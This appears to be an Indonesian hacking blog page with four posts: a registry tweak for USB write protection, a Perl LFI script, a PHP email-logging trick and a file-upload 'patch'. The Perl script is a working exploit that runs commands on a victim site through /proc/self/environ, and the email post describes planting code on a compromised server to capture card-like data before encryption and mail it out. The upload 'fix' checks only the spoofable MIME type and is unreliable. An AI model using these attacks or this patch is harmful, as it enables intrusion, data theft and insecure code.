Showing posts with label Coding. Show all posts
Showing posts with label Coding. Show all posts

Cara Hapus Write Protection

Write Protection merupakan langkah aman yang dilakukan oleh user untuk melindungi flash disk maupun removeable disk lainnya dari ancaman virus ataupun pengguna yang tidak diperkenankan untuk menghapus file dari removable disk ataupun memindahkan file ke dalam Removeable Disk termasuk flash disk.

Jadi jika ada yang menanyakan “Bagaimana ciri-ciri komputer yang menggunakan perlindungan tersebut ?” Biasanya,jika seseorang menggunakan Write Protection tersebut maka pada saat memasukkan data ke Removeable disknya akan menampilkan pesan “Cannot copy ***** : The disk is write-protected. Remove the write protection or use another disk.” Yang artinya “Tidak dapat menyalin ***** : disk terlindungi. Hapus perlindungan penulisan atau gunakan disk yang lain.”

Saya sarankan agar sebelumnya anda harus memperhitungkan kapan anda harus atau tidak harus menghapus Write Protection ini,karena ini adalah termasuk langkah berbahaya jika komputer anda memang sedang terjangkit virus.kenapa saya katakan berbahaya?karena jika write protection ini anda hapus maka sangat mudah bagi virus atau malware lainnya untuk menginfeksi file yang ada pada removeable ataupun flash disk anda sendiri. untuk membukanya silahkan ikuti petunjuk berikut ini

Okay, tanpa perlu basa-basi saya akan jelaskan langkah-langkahnya :
  1. Pertama,buka Registry Editor. Caranya,klik button start – Run – lalu ketik Regedit dan tekan Enter.
  2. Langkah kedua,Expand HKEY_LOCAL_MACHINE - SYSTEM - CurrentControlSet - Control - lalu klik pada StorageDevicePolicies.
  3. Lalu klik 2 kali pada Tulisan WriteProtect pada bagian kanan window registry editor.

maka akan tampil window seperti gambar dibawah :

Isikan dengan nilai 0 (nol) . Lalu klik Ok . dan tutup Jendela/window Registry Editor.
Selesai.

Setelah anda melakukan langkah-langkah diatas maka dengan bebas anda dapat menghapus file di Flash disk ataupun menyalin file ke flash disk maupun removeable disk anda .

Jika anda menginginkan sebaliknya,agar removeable disk anda ingin di write-protect ,maka ganti nilai 0 (nol) menjadi 1 (satu).(lihat langkah 3)

Okay,semoga bisa membantu. Harap di-Share
 Terima kasih 

LFI Remote Execute in PERL

Script berikut untuk menjalankan/mengeksekusi LFI proc/elft/environ secara simple di shell.
#! /usr/bin/perl
use LWP;
use HTTP::Request;
if (@ARGV < 1)
{
print "\n==========================================\n";
print " LFI Command Execution \n";
print "==========================================\n";
print "Usage: perl LFI.pl  (without http:://)\n";
print "Ex. perl FLI.pl www.korban.com/index.php?page=\n";
exit;
}
$host=$ARGV[0];
$lfi = "..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron";
print "Try to Execution Command!\n";
print "iDSc-shell# ";
chomp( $cmd =  );
while($cmd !~ "exit")
{
$content = "";
$ua = LWP::UserAgent->new();
$ua->agent('');
$request = HTTP::Request->new (GET => "http://".$host.$lfi."&cmd=".$cmd);
$response = $ua->request ($request);
$content = $response->content;
print $content."\n";
print "iDSc-shell# ";
chomp( $cmd =  );
}
Cara menggunakannya adalah:
1. Install perl di komputer anda / komputer target (bersyukurlah kalau sudah terinstall)
2. Save file di atas: “LFI.pl”
3. Kemudian jalankan dengan perintah: “perl FLI.pl www.targetwebsiteanda.com/index.php?page=\n”
4. Tunggu hasilnya :)
Semoga berhasil & selamat mengeksplore!

Email Logging Information

Apa kabar semuanya :D
Berikut ini gw mau jelasin trik yang sangat menarik buat anda pelajarin. Merupakan sebuah logging informasi data yang masuk, dan kemudian dikirim ke email kita. Ini sempet dibahas di BinusHacker Hack Show 30 Mei 2009 di #BinusHacker @Irc.Dal.Net
Lets begin!
Memaksimalkan Fungsi Email
= Hacking is Knowledge =
Tujuan dari memaksimalnya email pada topic ini adalah untuk logging informasi & data!
Pertama:
Kita menggunakan script PHP (Private Home Page)
Fungsi yang kita pake adalah mail();
Dimana pengiriman email dilakukan:
contoh:
<?php
// Contoh penggunaan
$Orangnya = “Budi Anduk”;
$NoId = “123456789″;
$CID = “234″;
$Exp = “10/2009″;
$Nama = “Nama Pengirim”;
$Emailnya = “email@pengirim.com”; // Email Pengirim
$Penerima = “emailanda@yahoo.com”; // Email Anda Sebagai Penerimas
$IsiEmail = “Berikut Ini Isi Log Data: “. $Orangnya .” “. $NoId .” “. $CID .” “. $Exp .” “; // Isi Email
$Subject = “Logging Data & Informasi”; // Judul Email
$Header = “From: “. $Nama . ” <” . $Emailnya . “>\r\n”; // Untuk Header
mail($Penerima, $Subject, $IsiEmail, $Header);
?>
Dari contoh di atas maka dapat kita simpulkan bahwa, kita bisa menggunakan fasilitas pengirim email untuk melakukan logging :)
Terkadang banyak file yang terenkripsi yang ada didatabase
Sehingga kita susah untuk melakukan decryptnya
Maka cara ini dapat kita gunakan..
Jika kita mendapatkan sebuah target dalam system,
dan disitu terjadi aktifitas pengiriman data ke database server dari client
Maka, kita dapat melakukan pengambilan data sebelum dilakukan encyption
Dengan cara menyisipkan variable” baru, yang bisa kita gunakan untuk menyimpan informasi & data
Kemudian kita kirim ke email kita tanpa terenkripsi sama skali..
Enak bukan? Hahahha.. That is the concept!
Silakan baca artikel, analisa script, silakan download dibawah:
Nah, untuk penjelasan lengkapnya anda bisa download tutorial dan ujicoba lengkapnya di:
http://www.indowebster.com/EmailLoggingHckShow.html
Untuk melakukan hasil contohnya, anda upload semua file ke sebuah hosting, kemudian praktekkan sesuai dengan contoh.
Jangan lupa ganti email pengirim menjadi:
&lt;?
$Penerima = “emailanda@domainemailanda.com”; // Email Anda Sebagai Penerima
?>
Selamat mencoba! Semoga berhasil :D

PHP Arbitrary File Upload Simple Patching

Saya akan membahas tentang cara simple mempatch PHP Arbitrary File Upload.
PHP Arbitary File Upload Patch
Kebanyakan website yang vuln diupload memiliki garis besar seperti ini:
Contoh simple upload.php file upload.
<?php
$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Contoh form yang dipake dalam file index untuk upload:
<form name="upload" action="upload.php" method="POST" ENCTYPE="multipart/formdata">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
Disini tidak ada code yang memfilter upload filetype.
Jadi kita bisa langsung saja upload: shell.php
Patching yg bisa dilakukan adalah menambahkan filter filetype dalam script upload.php
Contohnya:
<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Untuk “images/gif” bisa diganti dengan “images/jpg” dll…
Kita liat backgound request uploadnya
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data;
Content-Length: 156
Content-Disposition: form-data; name="userfile"; filename="shell.php"
...
...
-
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.2-pl6-gentoo
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
Hehehe..
Happy Patching..